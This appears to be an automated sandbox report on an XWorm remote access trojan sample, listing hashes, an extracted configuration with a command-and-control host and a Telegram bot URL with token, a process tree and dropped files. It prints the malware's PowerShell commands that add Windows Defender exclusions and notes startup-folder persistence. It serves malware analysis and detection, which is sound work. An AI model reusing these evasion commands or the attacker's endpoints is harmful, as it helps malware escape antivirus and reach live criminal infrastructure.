xworm | 682996a7019be86068d43a44152d84f6aa3521737189a1cbb54a23dd40d940ab

Analysis

max time kernel
131s
max time network
142s
platform
windows7_x64
resource
win7-20240903-en
resource tags

arch:x64arch:x86image:win7-20240903-enlocale:en-usos:windows7-x64system
submitted
09-11-2024 00:19

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General

Target

682996a7019be86068d43a44152d84f6aa3521737189a1cbb54a23dd40d940ab.exe
Size

259KB
MD5

b3cc8df3c4d0ff7c3dc89558c0d154e6
SHA1

7e145e19d9cf48227b1337c15840b0ce71ff1f6a
SHA256

682996a7019be86068d43a44152d84f6aa3521737189a1cbb54a23dd40d940ab
SHA512

4ee5f776d25c331784129258b10f0e327c69a300ee1726e51e4aa39a4be6f1ea57072a6f600605bd4fb5d553dd526828161366e679149b74ce8a65bcd83a63fa
SSDEEP

3072:tYGJepqxsscTtaXVFm7TyS6cLlxFVJPykf3CTh2N3pqjjwy8:jzxsXZFTj6cJxFVAkqV2N3Uj

Score

10^/10

xworm execution rat trojan

Malware Config

Extracted

Family

xworm

dsasinject-58214.portmap.io:3389

Attributes

Install_directory
%LocalAppData%
install_file
KeyAuth.exe
telegram
https://api.telegram.org/bot7023899363:AAFEzgbfWzhyE32Lf95TKSRYEYXMd4AfMyk/sendMessage?chat_id=6354844663

Signatures

Detect Xworm Payload 2 IoCs

resource	yara_rule
behavioral1/files/0x0007000000012117-6.dat	family_xworm
behavioral1/memory/2540-15-0x0000000001170000-0x0000000001186000-memory.dmp	family_xworm

Xworm
Xworm is a remote access trojan written in C#.
trojan rat xworm
Xworm family
xworm

Command and Scripting Interpreter: PowerShell 1 TTPs 8 IoCs

Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

execution

PowerShell

T1059.001

pid	Process
268	powershell.exe
624	powershell.exe
2852	powershell.exe
2604	powershell.exe
2628	powershell.exe
2664	powershell.exe
2208	powershell.exe
2832	powershell.exe

Drops startup file 4 IoCs

description	ioc	Process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\KeyAuth.lnk	KeyAuth.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\KeyAuth.lnk	KeyAuth.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Auth.lnk	Auth.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Auth.lnk	Auth.exe

Executes dropped EXE 2 IoCs

pid	Process
2540	KeyAuth.exe
1812	Auth.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious behavior: AddClipboardFormatListener 1 IoCs

pid	Process
1812	Auth.exe

Suspicious behavior: EnumeratesProcesses 9 IoCs

pid	Process
2852	powershell.exe
2604	powershell.exe
2664	powershell.exe
2628	powershell.exe
2208	powershell.exe
2832	powershell.exe
268	powershell.exe
624	powershell.exe
2540	KeyAuth.exe

Suspicious use of AdjustPrivilegeToken 13 IoCs

description	pid	Process
Token: SeDebugPrivilege	2540	KeyAuth.exe
Token: SeDebugPrivilege	1812	Auth.exe
Token: SeDebugPrivilege	2852	powershell.exe
Token: SeDebugPrivilege	2604	powershell.exe
Token: SeDebugPrivilege	2664	powershell.exe
Token: SeDebugPrivilege	2628	powershell.exe
Token: SeDebugPrivilege	2208	powershell.exe
Token: SeDebugPrivilege	2832	powershell.exe
Token: SeDebugPrivilege	268	powershell.exe
Token: SeDebugPrivilege	624	powershell.exe
Token: SeBackupPrivilege	1124	vssvc.exe
Token: SeRestorePrivilege	1124	vssvc.exe
Token: SeAuditPrivilege	1124	vssvc.exe

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
2540	KeyAuth.exe

Suspicious use of WriteProcessMemory 30 IoCs

description	pid	Process	procid_target
PID 2508 wrote to memory of 2540	2508	682996a7019be86068d43a44152d84f6aa3521737189a1cbb54a23dd40d940ab.exe	30
PID 2508 wrote to memory of 2540	2508	682996a7019be86068d43a44152d84f6aa3521737189a1cbb54a23dd40d940ab.exe	30
PID 2508 wrote to memory of 2540	2508	682996a7019be86068d43a44152d84f6aa3521737189a1cbb54a23dd40d940ab.exe	30
PID 2508 wrote to memory of 1812	2508	682996a7019be86068d43a44152d84f6aa3521737189a1cbb54a23dd40d940ab.exe	31
PID 2508 wrote to memory of 1812	2508	682996a7019be86068d43a44152d84f6aa3521737189a1cbb54a23dd40d940ab.exe	31
PID 2508 wrote to memory of 1812	2508	682996a7019be86068d43a44152d84f6aa3521737189a1cbb54a23dd40d940ab.exe	31
PID 1812 wrote to memory of 2852	1812	Auth.exe	32
PID 1812 wrote to memory of 2852	1812	Auth.exe	32
PID 1812 wrote to memory of 2852	1812	Auth.exe	32
PID 2540 wrote to memory of 2604	2540	KeyAuth.exe	34
PID 2540 wrote to memory of 2604	2540	KeyAuth.exe	34
PID 2540 wrote to memory of 2604	2540	KeyAuth.exe	34
PID 1812 wrote to memory of 2628	1812	Auth.exe	36
PID 1812 wrote to memory of 2628	1812	Auth.exe	36
PID 1812 wrote to memory of 2628	1812	Auth.exe	36
PID 2540 wrote to memory of 2664	2540	KeyAuth.exe	38
PID 2540 wrote to memory of 2664	2540	KeyAuth.exe	38
PID 2540 wrote to memory of 2664	2540	KeyAuth.exe	38
PID 2540 wrote to memory of 2208	2540	KeyAuth.exe	40
PID 2540 wrote to memory of 2208	2540	KeyAuth.exe	40
PID 2540 wrote to memory of 2208	2540	KeyAuth.exe	40
PID 1812 wrote to memory of 2832	1812	Auth.exe	42
PID 1812 wrote to memory of 2832	1812	Auth.exe	42
PID 1812 wrote to memory of 2832	1812	Auth.exe	42
PID 1812 wrote to memory of 268	1812	Auth.exe	44
PID 1812 wrote to memory of 268	1812	Auth.exe	44
PID 1812 wrote to memory of 268	1812	Auth.exe	44
PID 2540 wrote to memory of 624	2540	KeyAuth.exe	46
PID 2540 wrote to memory of 624	2540	KeyAuth.exe	46
PID 2540 wrote to memory of 624	2540	KeyAuth.exe	46

Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware

C:\Users\Admin\AppData\Local\Temp\682996a7019be86068d43a44152d84f6aa3521737189a1cbb54a23dd40d940ab.exe
"C:\Users\Admin\AppData\Local\Temp\682996a7019be86068d43a44152d84f6aa3521737189a1cbb54a23dd40d940ab.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:2508
- C:\Users\Admin\AppData\Local\KeyAuth.exe
  "C:\Users\Admin\AppData\Local\KeyAuth.exe"
  2⤵
  - Drops startup file
  - Executes dropped EXE
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of SetWindowsHookEx
  - Suspicious use of WriteProcessMemory
  PID:2540
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\KeyAuth.exe'
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:2604
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'KeyAuth.exe'
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:2664
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\KeyAuth.exe'
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:2208
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'KeyAuth.exe'
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:624
- C:\Users\Admin\AppData\Roaming\Auth.exe
  "C:\Users\Admin\AppData\Roaming\Auth.exe"
  2⤵
  - Drops startup file
  - Executes dropped EXE
  - Suspicious behavior: AddClipboardFormatListener
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:1812
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\Auth.exe'
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:2852
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'Auth.exe'
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:2628
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\Auth.exe'
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:2832
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'Auth.exe'
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:268

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:1124

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Local\KeyAuth.exe

Filesize
66KB

MD5
326bd2aecd1facc6c839ca0fedca3f96

SHA1
dbfe7fb1feb2c37ada12cf924d00b12328069749

SHA256
faea87eb85439c356a898ae69b825343519e9ee07fc9142150c6cfd832a800db

SHA512
2ac479a64ce6f26b4e7014ac5ef58ec00027936e2d4ba731d9dc763dea84ed1977b990d0e3a352688cd016484605fa28f27c566788d609faa75c7e67579d7921

Download Submit
C:\Users\Admin\AppData\Roaming\Auth.exe

Filesize
33KB

MD5
0326c22b86f5f2f350bbae78a87727c4

SHA1
7ca885b4765979551a6fe142725cfdaea5a316d7

SHA256
b743c631f487357e4b67d30249b0774150c16323b587e5e7241e7e29599cbe20

SHA512
21508978bb276a6cde8266cf0ab90c4aa2c0e38bdae6fe3e20915a427da93e914f37f741e4023932f5fa88f0d6d275bcccf0d15486871fa4075ce9a586dc7232

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

Filesize
7KB

MD5
e14de149f00a671fd0fbea0e99b55723

SHA1
a91de97d8cc4f2c11ea91c3716cd055fdc806f1e

SHA256
413dfdf72ed218380c9dab5ba1af12a89d3e34b611a6ce4c22bf0f0041e26c57

SHA512
61375f083e5c665fb7a7131a6a92d6a01effe4139f1fb6a944308ffddcb7edcb6e19c5f045a42c0e1c226e6e95db6890d28ef7a69fd86da71de69b031ba4d3dd

Download Submit
memory/1812-14-0x00000000008C0000-0x00000000008CE000-memory.dmp

Filesize
56KB

Download
memory/2508-16-0x000007FEF4FC0000-0x000007FEF59AC000-memory.dmp

Filesize
9.9MB

Download
memory/2508-0-0x000007FEF4FC3000-0x000007FEF4FC4000-memory.dmp

Filesize
4KB

Download
memory/2508-1-0x0000000001380000-0x00000000013C6000-memory.dmp

Filesize
280KB

Download
memory/2540-15-0x0000000001170000-0x0000000001186000-memory.dmp

Filesize
88KB

Download
memory/2664-38-0x000000001B630000-0x000000001B912000-memory.dmp

Filesize
2.9MB

Download
memory/2664-39-0x0000000001E20000-0x0000000001E28000-memory.dmp

Filesize
32KB

Download
memory/2852-22-0x000000001B6A0000-0x000000001B982000-memory.dmp

Filesize
2.9MB

Download
memory/2852-27-0x0000000001F70000-0x0000000001F78000-memory.dmp

Filesize
32KB

Download